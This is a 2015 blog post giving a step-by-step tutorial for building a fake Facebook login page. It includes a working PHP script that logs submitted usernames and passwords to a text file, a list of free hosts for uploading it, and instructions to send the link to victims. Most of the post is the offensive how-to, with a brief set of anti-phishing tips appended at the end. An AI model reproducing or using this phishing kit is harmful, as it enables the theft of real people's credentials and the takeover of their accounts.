Tuesday, 6 October 2015

Hacking Facebook with Phishing Attack



Many times I think that in this world of social networking, everything is connected to each other and distance doesn’t matter. Everyone do chit-chat with their loved one’s but did you ever thought of breach of your privacy? If something is being easy to acces then more attention will be required to secure your privacy.
When we think of Social Networking the first name comes into our mind is FACEBOOK. So is facebook secure in terms of  privacy?
Lets know how one can be hacked on Facebook…
Hacking Facebook with Phishing Attack

Phishing is the most commonly used method to hack Facebook. The most widely used technique in phishing is the use of Fake Log in Pages, also known as spoofed pages. These fake log in pages resemble the original log in pages of sites like Yahoo, Gmail, MySpace etc. The victim is fooled to believe the fake Facebook page to be the real one and enter his/her password. But once the user attempts to log in through these pages, his/her Facebook log in details is stolen away. I recommend  hack any account by phishing attack  since it is the easiest one .You can Hack Facebook Or Any Account By Phishing Method Easily, lets continue towards our goal hacking with phishing page method. :)  In this tutorial hacking Facebook using phishing method, you learn how hackers access your Facebook using phishing and also you learn how you can create phishing pages. Before hacking Facebook we know about what is phishing and the history of phishing for your clear understanding.
Step by step guide to hack Facebook account using phishing
Now lets start our tutorial which is all about how to make facebook phishing page without having the knowledge of any type of coding .

step:1)
first of all Go to the Facebook.com

step:2)  and then right click on the blank area, you will see the option view source page,simply click on that.(see bellow picture for better understanding )



                                     
step:3) now a pop up window  will be open which contain a source code of Facebook page, And Copy  all the code using Ctrl+c



step:4)
Now open the notepad and past all code here which copy in step 3


 step:5)
now press CTRL+F,and type ACTION.(see bellow picture)




 

step:6) You will have to search action again and again till you get like bellow code
                                  

action=" https://www.facebook.com/login.php?login_attempt=1 "





step:7)
After that delete all the text written in blue color and instead of it write hack.php.then it will look like.( see bellow given picture)

                                                 action="hack.php"
 


step:8) Now save it on your desktop with the name index.htm,not index.html,remember.

step:9) Now your phishing page is ready.it will look like a pic given bellow .


step:9) now you need to create a php file for this Open a new notepad and copy the bellow code and save it with the name hack.php.

<?php
header ('Location:http://www.google/');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
 
Note: I use hack.php in step 7 that's why we need to use same name in step 9

step:10)
You have successfully created two files
  1.  index.htm
  2. hack .php,

step:11) now you need to upload these two files in a free web hosting site i am giving you the list of  best webhosting site which are useful for you . you need to make a account on any of one below webhosting site.(I think the list is perfect for you)

www.my3gb.com
www.000webhost.com
www.freewebhosting.com
www.xhosting.com
http://110mb.com
http://ripway.com
http://superfreehost.info
http://freehostia.com
http://freeweb7.com
http://t35.com
http://awardspace.com
http://phpnet.us
http://prohosts.org
http://www.freezoka.com/
http://atspace.com



step:12) I prefer my3gb.com because it is easy to use first of all go to www.my3gb.com and click on register button which is located in upper side bar.
 
step:13) now simply fill all required  information in registration form
step:14) when your account completely setup simply log in with your username and password
 
step:15) when you open your account you see control panel  like bellow picture ,now click on file manager.
step:16) now file manager will open and you need to upload index.htm and hack.php file ,simply click on upload files  button and upload both files there after uploading it look like bellow picture.
step:17) now click on index.htm file you see fake Facebook page simply copy the URL from your web browser URL address bar .your link look like bellow :

http://www.yourusername.my3gb.com/index.htm
 

step:18) now you almost done simply send this link to your victim or friends .
 
step:19) when victim open that link he see fake Facebook page which look like real and enter there username and password and hit log in his password send to your my3gb account.
 
step:20) for seeing password simply go to my3gb.com >>control panel >>file manager,and here you see new file with name usernames.txt .open it and see the password.
Steps to Secure Yourself from being Hacked:

  1. Never click on suspicious links whenever or wherever you find it, even if it came from your friends. If you receive a link, always take the extra step of asking your friend what the link is to confirm that they had sent it. Usually these links are ‘sent’ without the sender’s knowledge. This includes all links that appear in your Facebook Chat, Messages, friend’s status post or even from your email. 
  2. Never give out your username or password to anyone, including websites with suspicious links and layouts. Giving your passwords freely could jeopardize the security of your personal information on Facebook. 
  3. Log in only at www.facebook.com and not from any other link or website, unless you are accessing via Facebook App. 
  4. Update your browser to its latest version to ensure your browser’s security is up to date so it would detect and alert you with a warning when you are navigating to a suspected phishing site. 
  5. Create Strong Password 
  6. Activate ‘Login Approvals 
  7. Disconnect Previous Active Sessions By going to Settings > Security page, look for ‘Active Sessions‘ and click on Edit 
  8. Activate Private BrowsingSafari If you are using the Safari Browser on Mac, activate Private Browsing from the menu with Safari > Private Browing.
Firefox
For Firefox, go to Tools > Start Private Browsing.
Chrome
If you are using Chrome, there’s an option to browse using the Incognito window, it’s a version of Chrome window where all browsing activity will not be logged in. To open this window, go to File > New Incognito Window.
  1. Don’t ‘Keep Me Logged In’ 
  2. Avoid Spam Links 
  3. Sign Out after use

No comments:

Post a Comment